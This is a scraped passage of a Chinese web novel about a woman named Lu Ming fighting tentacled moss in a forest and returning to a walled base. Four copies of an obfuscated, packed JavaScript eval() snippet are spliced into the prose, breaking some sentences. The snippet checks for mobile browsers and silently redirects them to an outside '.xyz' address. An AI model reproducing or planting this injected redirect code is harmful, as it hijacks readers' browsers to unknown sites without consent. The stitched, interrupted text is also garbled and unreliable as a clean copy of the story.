;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654497|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐,慢慢往前挪。 多走几步,她注意到两侧艳丽的“草丛”在变长。明明应该落在后面两步的“艳丽草丛”,此刻已经有半米多长,而且隐隐有更长的趋势。 路名停在原地,蹲下来,紧紧盯着“草丛”。这些根本不是艳丽的草叶,也不是树林特产,毒蘑菇,而是一些类似苔藓一样密集但又跟鳞片似的东西,很奇怪,又有点眼熟。甚至,路名怀疑自己是不是出现了幻觉,这些东西并没有在变长,只是数量有点多。 她环顾一周,除了自己这边比较少,这条路两边都是,一直蔓延进灌木丛,连触须旁的巨石上也闪闪亮亮的。看多了,眼花了,她隐约觉得灌木丛表面也有亮丽的闪光。 “……树林里苔藓真多啊,都快把我们包围了。”她小声嘀咕一句,静静蹲在原地。 这个位置,离宋何正还有两米,离三个见习猎人还有一米多,等他们顺利脱险,她一定在第一时间送上夸奖。既有参与感,又有成就感,简直完美! 宋何正在高度敏感下,五感敏锐,眼睛酸痛。 乍一听此时唯一一句话,他第一反应是荒谬,怎么有人在这时候还有闲心发表这些无关痛痒的言论?基地外的环境有多危险,可以说是生死一线,时时刻刻都有可能死无葬身之地……说这话的人,是红月工会的那个路名? 他再仔细想了想,苔藓确实很多,那块石头上有一半,可惜,石头炸了,开出一个不明生物。 紧接着,宋何正眉头一皱。多年经验告诉他,事有蹊跷,一定有什么他没及时发现。如果,这些是“眼睛”,那触须出现的条件是什么? “准备。”张俞镇压低声音,比一个手势。 他在这里话语权最大,只差一声令下,由他掩护,另外两个人去救人。 如果触须突然暴起,他就必须做出选择,二选一,即使他速度够快,另外一组人也免不了重伤。这是必须面对的情况,他们不是冷血的研究员,来之前也做好为学分搏一搏的准备,无畏流血,如果不幸身亡……死亡几乎已经成为猎人的另一个代名词,他们一点都不陌生。 就在张俞镇发出信号的前一秒,宋何正突然斩钉截铁地低声叫停:“等一下。” 张俞镇:? 这个家伙是傻了吗?他知不知道自己面前的是什么?现在多犹豫一秒都可能前功尽弃,他们两个没什么自保能力的人十有八九就会折在这!他们见习猎人不怕死,可也见不得这两个人送死啊! 白旗亭小声开口:“学长?” 路名扭头看了眼被徐记挡住的身影,有些诧异。白旗亭没昏过去啊? 这一看,她突然发现,左侧的“彩带”似乎比右边的长不少,刚开始难道不是一样长的吗?难道是她一直留意右边,没仔细注意左边? 前面突然传来宋何正急促的呼喊声,听清内容,路名莫名感觉心里一震。 “把旁边这些颜色艳丽的苔藓烧了,快!动作要快!” 16. 泰林(9) 路名没看清那三个见习猎人从哪里掏出来打火机一样的东西,一眨眼的功夫,火苗沾上艳丽的“苔藓”,从石缝里生出来的触须以一种诡异的姿势抖动着扑向着火点。 有用! 宋何正没来得及松口气,眼前另一块石头轰然碎开,生出十几根触须。这些触须比先前的细一些,几乎都是赤条条一个,直接无视他们两个,径直缠上张俞镇三人。 这到底是什么? 路名蹲在一旁,有点想往后撤。 她这个位置隐蔽性不错,藏在一个拐弯口,那三个名头很响的见习猎人正在和触须纠缠,肢体动作快出残影,将宋何正和白旗亭遮得严严实实,谁都看不见谁。 她没受过正统训练,比不上张俞镇三人,临阵脱逃也算是理所当…… 右脚刚后撤半步,只听“哐当”一声,带着火的打火机落在斜前方,落地前的一点火苗呲啦一下将艳丽的“地毯”烧出一块黑斑。“快!”只来得及发出一个气音,那个痛失打火机、满脸血痕的见习猎人被数条触须勒住嘴,倒吊在空中。 触须经过之地,血痕斑斑;鲜血滋养触须,它们逐渐粗壮。 这到底是植物还是食肉动物? ……已经不重要了。大脑空白一瞬,路名立即捡起打火机,胳膊抡个小半圈往外扔。死道友不死贫道,这活儿谁能干谁干吧! 眼前一花,一根触须“啪”一下抽在她的胳膊上,分泌的粘液快速腐蚀衣物,刺痛扎进大脑,越来越强烈,路名猛吸一口气,皱巴着脸被一股巨大的力量拽过去。 第二根触须缠上她的左脚。 身体在空中270度翻转的时候,她低头咬住背包的链子,一丝丝血丝渗进拉链,红白交错;拉链抵住里面翻滚的营养液,被大大压缩的口子将长匕首卡在一个不上不下的位置。 刚刚那个被抓住的见习猎人已经成了翠绿的茧子,隐隐有几分果冻的透明胶状感,看不清里面。 而路名,即将是第二个。 她被倒吊着,脑子充血,有点晕,从眼前两人的动作勉强能感觉到,那个“大壮哥”实力不错,挡住触须的纠缠之余,还能到处点火,造成骚扰,可惜的是,看样子他应该救不了自己,另一个……还是算了。 自救? 路名握紧左手的长匕首,用力一甩,将茧子化开一个长长的口子。晶莹的翠色里,是翻滚的红色,可能是血。里面那个见习猎人,大概凶多吉少。唯一的指望,又破灭了。 从打火机到手到现在才过了多久? 可能,一分钟都没有。 难道就这么死在这? 路名不甘心。脑子越来越晕,她甚至逐渐失去对身体的控制权,大脑轻飘飘的,身体轻飘飘的。是梦吗?要醒了吗?这场梦,好真实,好漫长。 生死一线间,一股力量涌进右手,火苗噌一下亮出来,如同一束光,照进在阴暗的森林里。她竟然打开了打火机!这具身体瘦弱极了,手腕几乎是皮包骨,这么大的动作,静脉突出,被触须缠住的地方已经失去知觉,只看到触须一股一股蠕动着,长大了,变粗了。 可是,她握着打火机的手指非常用力,青筋暴起。 路名用力想象能转动打火机的手势,感觉血液输送到手肘处就如同江河汇入大海,悄无声息。 打火机转动了。 那个不会熄灭的火苗绕过一圈,直接对准路名的肩膀,顺着脉搏。 没有痛觉,纠缠在手腕的触须猝不及防涨大数倍,紧接着,似乎是不堪重负,“噗”一下喷出来,连带着整条触须都萎靡了。 路名在心里想出自己一刀斩落脚上的触须的样子,身体像是漂在竹筏上,很虚弱。 没一会儿,人落在地上,伴随着几根被斩断的触须。落地的一瞬间,她感觉自己不是站在地上,而是躲在地下,在仰头看很高的树冠,她看到张俞镇手起刀落的利落动作,看到白旗亭眼里的眼泪,还有宋何正四处寻找的目光。她变得很渺小,又似乎无处不在。 这是什么角度?刚刚那些画面,是什么?难道是错觉? 路名站在地上,握紧左手,很有实感,而右手像是断了,却灵活得不可思议。她在心里感叹:这感觉,真奇妙。 余光撇过来的张俞镇震惊了。 那是什么速度?不是,有那速度这货刚刚蹲地上干嘛呢?看他们的笑话吗?一种又愤怒又无力的感觉涌上来,偏偏他还要继续砍触须。 就很气! 另一边,从侧面目睹这一幕的宋何正心神巨震,一时间不知道该说什么。烧焦的肉味在空气中弥漫开来,那道伤口黑中泛红,鲜血慢慢流淌下来,顺着掌心,流过指尖。 怎么会有人拿火对准自己,她……她还真不是一般人。 很快,他想起另一个问题:都是用火烧,为什么被路名烧过的触须就爆裂、萎靡不振,而张俞镇他们反倒越砍越多? 只见路名朝前走两步,又折回去,背对宋何正,右手在空中留下一道残影。 翠色的茧子一分为二,数十根触须齐根爆裂,一大滩汁水从头落下,不仅将路名兜住,蔓延的汁水渗到宋何正裤腿,浸湿了一小块。 重伤的徐记和昏迷的路名晕倒在地。 触须重伤,大半枯死,张俞镇带人用火将剩下的“苔藓”和触须烧干净,白旗亭包里有药,给两人注射过紧急治疗药物,趁这个时间,白旗亭从包里拿出取样的装置,快速取样。随后,张俞镇和徐铭一人背着一个,一脚深一脚浅地走到山洞口。 “学长,刚刚那个,你之前见过吗?”白旗亭心有余悸,忐忑不安地问。 宋何正摇摇头,他怀疑这片森林发生了新的变化,眼前这一切都是新的,未知的。他们必须尽快赶回去,将这些发现告诉大家。 “我们马上就往回走。”宋何正一脚踩上裂开的圆石,身体一歪,目光上移,看到山洞上五彩斑斓的草——哪里是草,这分明是刚才那些怪异的苔藓! “等一下!”他大喝一声,目光上移,示意前面两人往上看,“不要进去了,把他们两个放下来,你们进去,拿上我的包,我们现在就走,这里不能呆了。动作轻一些,尽量走湿润的地方。” 先是小白用铁丝磨石头,后来路名用火烧触须,他怀疑这东西不耐高温,一点就炸。 张俞镇将人放在路上,带着徐铭进洞。 “这些人怎么办?”徐铭扫一眼石壁边上排排坐的人,一个个都目光无神。和宋何正分开后,白旗亭窜入草丛,又在路上撒了些粉末,人体吸入过多就会变成这副样子。这些人一路走来,几乎无时无刻不在吸入。想解除药效,只有药剂。 “拿包。”张俞镇沉声说道。 包敞开在地上,他之前出来过几次,见过那些预备研究员怎么将包合成一件背心的式样,当即动手。 徐铭站在一旁,忍了忍,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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物资和两个大背心放在后备箱,徐铭和张俞镇轮流开车,一刻不停往回赶。 宋何正取下路名的包,发现这包好重。 长匕首被他留作样品,放进自己的包里,短匕首在山洞就没用了。除了武器,一般护卫队只会带营养液。按重量算,这货是带了两个月份量吗?看包的大小也不像。宋何正思量再三,认为自己作为队伍的一员,为了越野车前进速度考虑,有必要打开包查看一下。 ——好大一个方盒子。 宋何正愣了几秒,终于从记忆的角落里摸索出这个东西的名字:不知道是哪个年代的光脑。 光脑? 除了光脑,还有十几瓶颜色偏灰调的营养液,颜色温润的高级营养液混在里面,像拔了尾羽的凤凰落进鸡窝,可怜兮兮的。这些高级营养液八成是从他这儿敲诈来的。除了这些,包的夹层里还有几个硬疙瘩,摸着有棱有角的,像是石子儿。 宋何正没打开看,再看就有点不礼貌了。 他合上包,忍着一把丢到窗外的冲动,想了想,还是塞回去。 路名睡在车门边。 再看这张脸,他的目光中多了几分不解,几分同情:这人手气那么欧,原来这么穷,红月工会的口碑一向不错,从来不拖欠抚恤金,更别说这么年轻的种子选手,这也是凭运气穷的吗? 玄学,当真玄妙无比。 17. 归来 一方天井,一方石桌,一场夏雨。 古旧的廊檐下,两个身量差不多的道士正并肩坐在石阶上,听雨。面容显老的那位手里拿着不锈钢保温杯,年纪小一些的,大概二十岁出头,正在转魔方。魔方在巨大的力气下发出不堪重负的哀叫,吱呀呀的声音隐没在急促的夏雨里。 路名把魔方拍在石阶上,赌气道:“不玩了!” 旁边那人瞥过一眼,拧开瓶盖,就着袅袅茶香,吹一口,押一口,抿一口,然后意犹未尽地长叹一口气。 “师兄,你这茶这么好喝?”路名一脸怀疑。 她偷偷尝过一撮师兄房里的茶叶,香倒是挺香,入口苦得要命,简直是一种土地资源的浪费,她对这种行为表示强烈的斥责和痛惜。还不如去山下喝点小酒,听点儿小曲儿。 师兄眉毛一抬,合上杯盖。 “你懂什么,这可是上好的……”刚刚迈入三十岁人生大关的道士忽然想到什么,声音戛然而止,抬手在路名头上敲了个小板栗。 “又打我。”路名躲没躲掉,反手在师兄肩膀上捶了一下,看他立即面露痛苦,心里不免有点得意。 她反应力是不快,但力气可不小。 师兄倒也习惯了,沉默着听了会儿雨,在魔方“吱呀呀”快要解体的噪音里突然开口:“师父要回来了。” “啪”一声,伴随着窸窸窣窣的物件落地声,魔方,卒。 路名也说不清此刻心里的感觉。她这个便宜师父总是在外面跑,偶尔露一次面,还是很久之前微信通话,顶着一张看不出画的哪方妖魔鬼怪的脸,周围一片嘈杂,灰蒙蒙的天,夹杂着喧闹的鞭炮声,师父说了什么,她一个字都不记得,只记得扬声器里传来粗犷的女声:“吃饭嘞。” 有师父没师父,对他们来说,没多大影响。 这家道观有数百年的历史,传承悠久,师兄们都很和善,知道他们俩的师父不在,经常到他们房里一起看小说,喝点米酿,吹点牛逼…… 路名想到一点微小的好处——师父回来了,吃饭的时候可以光明正大多做两道菜。 “小心师父回来把你逐出师门。”似乎看穿路名的想法,师兄冷不丁冒出一句,嘴角微微上扬,带一点玩笑的意味。 路名冷哼一声,师父要回来的那点感情眨眼间就烟消云散了。 道观外几十级台阶,她从山下走上来无数次,勤勤恳恳低头走路,从来没有向下看过,或是认认真真向山下走。现在回想起来,她只记得山下白茫茫一片,师兄们在云里雾里来来去去,时不时和她说两句话,背着东西的时候还会过来搭把手。 “师兄,你的茶叶被我倒了,这是去年的。” 师兄:!!! “呔,看打!” 路名早有准备,两腿一蹬就准备往前跳进雨里。 ——她算准了师兄那个矫情得不行的性子,是绝对不会让自己沾一点雨的。 “喂,醒醒,我们到了!”张俞镇大喝一声,后座三个人脖子向前一窜,齐齐醒过来,迷迷瞪瞪睁开眼。 熟悉的城墙出现在越野车的天窗外,空气中有一股怪异的味道。 是一号基地的城墙。 几个人同时发出长长的的气音,不由得松了口气。太好了,他们平安回来了。 在这种伴随着喜悦的沉默里,路名望着逐渐高大、逐渐清晰的城墙,心里的一点念想慢慢熄灭了。 她似乎真的回不去了。 这里不是梦,而梦里,也不再是她的现实。 “原本过去的路多了两株大树倒在地上,我们没有停留,改道从七号门回来。之前没申请这边的入城证明,过会儿进去要先做检查。”徐铭简单讲述了变道的原因,目光转一圈,停留在依旧昏迷的弟弟的脸上。他微微皱起眉头,越是靠近一号基地,他越发担心,生怕徐记撑不到治疗的时候。 “我给他用了包里最好的治疗药,就算治标不治本,一定能撑到回去。”宋何正刚说完,一车人的目光都移过来。他就当没看见,打开光脑,自顾自发消息。靠近基地,光脑一定会有信号。 白旗亭手掌搭在大腿上,曲起指节敲了敲,没说什么。 老师走了,他们失去保护伞的同时,头上的紧箍咒也掉了,一些没有泯灭掉的东西会让有些事情开始失控。他不想多管闲事,只想做好自己的事。 徐铭顿了下,轻声道谢。 路名诧异地抬起头,目光在两人中间来回转了两圈。她记得余震说过,见习猎人和预备研究员之间一向关系不好。 要是余震在就好了,眼下这情况,路名真觉得自己废了。 哎,余震,钱云,还有那些护卫,那么多人都没能回来,两车人去,一车人回。一号基地真的是人类最后的诺亚方舟吗? …… 徐铭心里很清楚,不管出于何种原因,宋何正没有必要做到这一步。见习猎人受伤是常态,常年的治疗过程会在身体里留下不少痕迹,有些伤,抗一抗,忍一忍,也能撑回去。价格高昂的治疗药可遇不可求,用一支少一支,哪怕是预备研究员也大方不起来。 张俞镇从后视镜看一眼低头的宋何正,目光转向正在休息的路名,继续开车。 他还记得刚出一号基地时,这个青年一身的锐气和戒备,哪怕面对杀气腾腾的猎人团队也不点都不慌,神情冷静到冷酷,而现在,似乎多了几分仁慈。 仁慈这种东西,原来这帮与世隔绝的疯子还有啊。 城墙下一块空地上有一排铁板粘在地上,张俞镇把车停在铁板上,带头去五米开外的队伍排队。 路名喝了一管营养液才下车。她睡了太久,身体虚弱没有及时得到营养,现在浑身无力。等所有人都下车,她推开最近一侧的车门,慢慢往外挪。腿还是有点酸,有点痛,她走着走着就落在最后面。 徐铭背着徐记去特殊通道,路名的位置往前挪两个,正好在一块大屏下。 大屏上自动录入五个人数,前面还有三十一个人。 检查的速度很快,队伍往前的速度比路名自己走都要快,后面排队的人一个看一个,眼睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667224|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁看着紧凑的队伍突然空一大块,偏偏那个人有手有脚,看起来能走能跳,就是不肯走快些。工作人员不催,他们也不敢说话,只能默默地着急,两只眼睛直直地瞪着前面。 宋何正一回头,正好看见磨磨蹭蹭的路名和后面歪过来的队伍,十几双眼睛齐刷刷看过来,一时间不知道说什么好。 长这么大,出来那么多次,他还是第一次见这种画面。 无证居民区的人对一号基地天然地有一种敬畏感,凡是管理层要求的,这帮人都会尽可能做到,不让人抓着错处,生怕自己被赶出去。 路名一摇一晃的走路姿势实在太显眼,就差把“你来啊,有本事过来啊”九个字写脑门上。 白旗亭跟着看过去,不爽地啧一声。 终于走到检查通道入口附近,路名提了提手腕。身体缓过劲儿,她可以走快点。离通道口还有一米的距离,她迈开步子往前快走两步,突然,一道阴影直接冲撞过来,一脚踩在她伸出去的鞋面上。 路名痛得一哆嗦,眼前闪过一道黑影。 一面熟悉的图案印在那人背面——齐鲁工会的标志。这是齐鲁工会的猎人。 “编号YT776,齐鲁工会,穆棱,我们派去常平山那一带的猎人失去联系,直升飞机也失联,信号被阻断,请联系我们工会驻守在这里的负责人,即刻组织人手去救人。”穆棱一刻不停说完,打开光脑解除限制,认证身份。 对面的负责人脸色顿时沉下去,听到一半,抬手快速按下警报器。 “嘟—嘟—”沉闷的警报声从四面响起。 城墙两边,人们的脸上或多或少露出惶恐不安的神情,尚未进来的人不明觉厉,一丝一毫风吹草动都会惊扰他们,而呆在城里的人已经明白基地并不是绝对安全。 白旗亭比其他人好些,心里隐隐有点期待。 这种情况他见多了,每一次行动后都会带来不少新东西。老师走后,他和学长资历尚浅,拿不到好东西,因此,研究院的物资分配会是当前的头等大事。运气好的话,这一批猎人会带来大量的新发现,足够他们熬过这段时间,顺利毕业,拿到分配名额。 一号基地外,人们探索陌生区域的速度在缩减,上一次出现这种情况,至少是两年前。野外,正在发生新的变化。 就在所有人都在为这声警报胆战心惊的时候,路名已经走过检查通道,墙壁上相继亮起三道白光。 “准入。”机器声从负责人腰间的方盒里冒出来。 汪岳吓了一跳。 后面排队的人愣了一下,犹豫着抬起脚,准备进去,心里那些恐惧刚冒头就被摁住。 管他呢,好不容易求来的机会,他一定要留在基地! “咳,你你你进去!”汪岳的个子在同事中不算高,刚好能和路名对视,那双眼睛直直的盯着他,没什么情绪,让他一瞬间毛骨悚然,鸡皮疙瘩都起来了。 路名什么也没说,沉默的往里走,和穆棱擦肩而过的时候,她冷冷地瞥了一眼。 小子,给我等着! 18. 检查 过了安检,负责人招手示意路名跟着前面的人走。 “工资,我过会儿来转给你。”说完这一句,宋何正转身去和徐铭徐记他们汇合。 他们走的是另一条通道,光是看地面的瓷砖、头顶的灯带,就比路名这边的水泥地,白炽灯要好上不少。 路名抬头看了看窗外灰蒙蒙的天,默默感叹这坑爹的阶级差距,没多说什么。宋何正要钱有钱,要身份有身份,未必会拖欠她的工资。 想起工资,路名突然发现自己的光脑没电了,就算宋何正过来转账,她也没机会收,总不能拿手上吧。她低头看了眼瘪瘪的包,算了算自己的工资可以兑换多少赤晶,再装进这个包里,还要不让人注意的守着……太难了。她顿时头疼起来。 通道的尽头是一间空屋子,大约二十平米,稀稀拉拉十几个人靠墙坐在地上,有几个人怀里捧着方盒子。 是光脑! 路名心里一喜。真是瞌睡送枕头,她正愁没地方给光脑充电呢。 她一进来,刚好有几个人从地上爬起来,往出口走。经过工作人员桌前时,他们举起手腕,将光脑从一个拱形的仪器下面扫过。 “新来的几个,呆满半小时再出去,出去之前登记一下。超过半小时会被驱逐,自己算时间,别赖着啊。”工作人员头也不抬,喊了句,继续顶着光脑的投屏,嘴角有抹似有若无的笑意。 所谓的登记,就是用光脑扫一下。难怪免费供电。 路名找了个靠近工作人员办公桌的位置,盘腿坐在地上。墙壁上有个方形银色盖子,她伸手用力一摁,盖子转过来,露出里面的充电线。 光脑续上电,开机还要几分钟。 路名仰头靠在墙壁上,耳朵里有细碎的谈论声,还有陆陆续续进来出去的脚步声。免费蹭到电,她心情好了不少,在略显嘈杂的环境,她哼着别人听不懂的调子,手指搭在光脑上,轻轻敲击节拍,一个人坐在角落里思考以后怎么办。 落户的钱是凑上了,还得拜托支飞羽这个担保人跑一趟,不知道他最近有没有空? 有了户口,还得想办法在下城区找个住处,租房子得花钱,吃饭也得花钱,肉和蔬菜都得拿钱买,光是呼吸,日常开销就要一笔不小的钱。按照她现在的存款,办了户口,未必能在下城区活下去,除非快速找到一份工作。 靠什么谋生呢?护卫队的工资高,危险系数更高,说是和死神玩石头剪刀布也不为过,非常不稳定。 排除有命挣没命花的工作,唯一让人心安的,就是找一份像陆张那样的文职,要是有工厂,进厂打螺丝也行。这种工作也就想想而已,门槛太高,她够不上。要身份,还要学历,光是其中一个,路名就已经拼尽全力,以命相博了。要想弄到入学资格,更是难如登天。 前途灰暗啊,路名深深叹一口气,一睁眼就瞟见光脑屏幕上清一色帅哥美女,黑·色·制·服·诱·惑。 路名:? 一个个遮得严严实实的,是什么让你盯着看这么久? 路名挪了挪屁股,从侧面看到那位扎马尾的工作人员嘴角压不下去的笑意,心里更觉得荒诞好笑,更有种说不出的羡慕。要是她两眼一睁,不在那个山坳坳里,不是孤身一人,而是躺在一号基地上中下城区任意一户人家家里,凭她的学习能力,八成也能过上这样的生活。 这位上班摸鱼的工作人员抬手在光屏上一划,切出一张列表,名字在第一列,第二列是时间,凡是超过三十分钟的,整行文字都变成红色。 “宋文,张可颐,徐廷伟……你们,出去!” 念了一串名字都不结巴,这位有点威严的工作人员板着脸,厉声呵斥,将人赶出去。一伙人灰溜溜站起来,拔掉充电线,出去了。 路名找到自己的名字,她来这儿刚刚过了十分钟。 光脑可以用了。 她火速摁下开机键,打算联系支飞羽,先约个时间办户口。 路名从来都不是一个优柔寡断的人,恰恰相反,正因为前途灰暗,举步维艰,对未来充满不安让她更加珍惜时间和机会——有机会办户口就赶紧办,办完手里还有点钱,等去了下城区,走一步看一步。 开机的那点时间,路名忍不住瞄了眼工作人员的光屏。 列表已经切换成刚才的帅男靓女,这会儿不是照片,而是一则视频,看样子,像是广告。 光脑一亮,路名迅速低头,点开和支飞羽的聊天框,一下子就看到那行字。碎红AH-133?红月工会?难怪张俞镇一直把她和红月工会绑在一起,宋何正也对她有种莫名其妙的信任,还愿意给出三万的高价。 一瞬间,路名心里冒出很多猜测,又都被她一一摁住。 当务之急是找支飞羽去办户口。至于宋何正,等工资结清,她再做打算。走一步看一步,几乎成为路名穿越以来她对自己说过的最多的话。 【道爷: 我攒到钱办户口了,有空一起去一趟吗?我可以请你吃饭。我没多少钱,外面吃不起,不介意的话,我可以自己做饭。】 支飞羽没有回消息。 路名将消息提醒打开,关闭屏幕节省电量。现在是上午九点二十三分,如果支飞羽回消息太晚,她得先找个地方给光脑续上电。住宿费很贵,她想尽可能撑到中午十二点,只花一晚的费用。 这时候,工作人员小姐姐又喊了一波名单,房间里顿时空了不少。 路名一眼看过去,都觉得有些眼熟。 她悄咪咪往桌子边凑近些,仰头看光屏。手腕上的环状光脑,支飞羽在她身边打开过,有屏蔽功能,啥也看不见,宋何正和白旗亭的也都有。 路名难得碰到一个不带屏蔽功能的环状光脑,现在又正好有时间,忍不住靠近些,再靠近些。 光屏上的广告接近尾声,路名才后知后觉,意识到这是一个宣传大赛的预告,严肃的视频风格,冷兵器的对撞,还有身着统一制服的青年,妥妥的热血短片啊。 往下一看,大赛的主办方:猎人学院、未来集团和齐鲁工会。 工作人员小姐姐意犹未尽地将一分十二秒的预告片又看了两遍,才关闭视频,往下扒拉,津津有味地看着评论。 【冲啊!一年级九班:听说这次比赛,二年级也可以报名。天呐,彭昱恩学长假期后正好升到二年级,他肯定能参加。好期待他和长珩的比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676014|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛啊。】 【我必将牛逼,盖锅盔:四年级的韵梅学姐是最后一次参加,上次被鲁胖子踩狗屎运捡漏,这次肯定不会放过他的。】 【噜噜噜:什么鲁胖子,那是我们亲亲的鲁学长!】 工作人员小姐姐扒拉着扒拉着,抬手捂住嘴,硬是清了清嗓子,嘴角完全压不下去。 路名侧了侧脸,避免偷窥被抓的嫌疑,眯着眼睛把整个屏幕的评论都看了一遍。从评论看,这个赛事非常有名。前辈们的爱恨情仇,后进们的雄心壮志,主办方恨不得把几张宣传海报拍出激烈角逐的气氛的决心,路名深切地感受到了。 这是比赛吗?不,这是钱在召唤她! 最最重要的一点,这场比赛受众面积很广,尤其是学生。 要知道,但凡往娱乐行业靠拢的赛事,甭管有什么正面意义,只要加上学生,那就是发财的机会。哪怕去卖粗制滥造的三无有毒的周边,都能小小发一笔。 路名使劲瞄右下角一行小字,眼皮都快抽筋了,终于看清楚这场赛事的名字:费德姆斯大赛。时间在十月。 现在是几月? 路名突然想到这个严肃的问题,她低头打开光脑,屏幕保留在上次关闭的页面,正好跳出一行小字。 【一支飞羽: 可以。我正好要去你们那儿办点事。今天下午有空吗?】 什么事这么急? 路名想了想,这是个好机会啊。 从基地中心到无证居民区要不少时间,支飞羽办完事儿,吃顿饭再回去,考虑到他的睡觉时间,这顿饭就必须快。而做饭是个慢活计,要想快,就别想丰盛。两颗菜,两个蛋,一把面,一顿晚饭就做好了,省钱省力省心,简直完美! 路名哼着小曲儿打下一行字: 【道爷: 可以可以,我还在城门口做检查,过会儿就能回去,我们在哪儿见面?几点见面,你有没有准确的时间?】 突然,一只手拍了拍她的肩。 路名抬头一看,是工作人员小姐姐,脸上挂着一张似笑非笑的表情:“凑这么近,干嘛?偷看啊?” 路名:“……没有,充电。来的时候有点挤,这里刚好没人。” “哦~”小姐姐扫了一圈稀稀拉拉的人群,漫不经心地调出列表:“那你来的挺早啊,叫什么,我看看时间。” 列表上有几个显示二十八二十九,路名一眼看到自己名字后面的时间:29:54。 这么巧! 恋恋不舍地看了眼光脑上22%的电量,她忍痛拔掉充电线,“哎哟,时间真巧啊,我这就走,这就走。”就这说话的功夫,她的名字变红。 小姐姐眉头一挑,没想到这么巧。 路名扫码的时候,她喊了一嗓子,把几个跟着进来的人一并喊过来。 两分钟后,路名站在门口,怀里揣着21%电量的光脑,郁闷地叹了口气,琢磨着怎么找宋何正要钱。这货为什么还不来,他不知道这个房间只能呆半小时吗?他不会直接回上城区了吧?我擦,这人看着挺靠谱,原来是个黑心的。 呵呵,他最好快点来,再不来,就算来了,钱也给不了! 19. 尤品 路名没等多久,正好赶上宋何正提着两大包塑料袋过来。刚一靠近,她就闻到一股朴实的饭菜香。原本开口想要工资的,嘴一张,她感觉口水要掉下来了。 这是,外卖! 路名震惊了,原本以为这是个末世,没想到竟然还有外卖这种东西。 ……原来是她活得太贫穷了。 宋何正微微皱眉,面露为难:“我就买了五份,你。” “我马上就回去。工资,结一下。”路名火速接话。她说得很快,生怕慢一步,口水就顺着嘴角流下来。 宋何正了然。今天红月工会在办宴会,原本的与会人员都去基地外支援,红月工会一向大气,干脆让留在工会候命的战斗人员都去。路名作为红月工会的一员,实力不低,肯定会比他先一步收到内网消息,守在这里等他,八成是拿到积分赶着过去。 “加个通讯方式吧,下次直接转给你。” 抬手的一刹那,宋何正瞄见方盒上的电量:12%,深红色。 宋何正:??? 怎么感觉路名是怕没电才守在这儿等他的?错觉!一定是错觉! 这个人实力不错,可惜太穷了。 宋何正常年呆在上城区,偶尔听从中城区来的学生说起过他们那儿的一些有名猎人。能作为饭后谈资、被那些天之骄子谈论的,大多有些实力和名气,比如一个以速度出名的猎人,跑路的一把好手,但他沉迷赌场无法自拔,经常穿着一身破衣服进出,身上常年一股馊味,让研究员们又爱又恨。 宋何正已经不自觉地把路名拨到这一类人中。 基地内的网速很快,通讯一加,积分到账,十七万!比预期还要多几万! 路名心里的大石头落地了。 她盯着账户上的数字,嘴角压都压不住,乐呵呵地和宋何正道别。 “喂。”宋何正站在原地喊她,抬手指着和路名正相反的方向:“你走错了,要回去的话,往这边走才行。”往那边,是回到当时出发的仓库。 路名还记得自己是个路痴。感觉上,往这边走是回仓库的方向,但她的感觉从来都是错的。这就是作为一名路痴的自觉。路名朝宋何正笑呵呵地点头,脚步一拐,往另一边走。 经过宋何正身边的时候,那股饭菜香阴魂不散的缠着她。 她憋气,再憋气,憋红了脸,肚子隐约痉挛着痛起来,就又气呼呼地折回去,“你好,我想问一下,你这个是在哪儿买的,多少钱?” 宋何正愣了一下。 这人说话还挺有礼貌的,他还以为是个什么事儿呢,红着脸瞪着眼地过来,差点以为路名要打他,就那几步路的时间,他愣是没想明白哪儿惹这家伙不开心了。 “你换个光脑,这个光脑应该没有这种功能。”宋何正解除光脑的屏蔽功能,指着一个扛包的小人图标,“这里可以找人帮忙做些简单的事。进入基地之前,我让人做好了饭送到这边。平均下来,一个人四万积分。” 简单来说,这是跑腿加外卖的集大成品,价格是Plus版。 路名:“……哦,好。” 换光脑?吃四万一顿的外卖?想都别想,只要基地里还有这种只要一万积分的物美价廉的光脑,她就能和这种光脑一起天荒地老!只要基地里有卖菜的地方,她就能手搓每一顿饭! 宋何正目送路名飞奔离开,越发觉得她有问题。这前后态度差别也太大了,她真的不是找个借口来打人的吗? 吃不起外卖,路名豪气地喝了半支高级营养液,心里喜滋滋的,满足感爆棚。 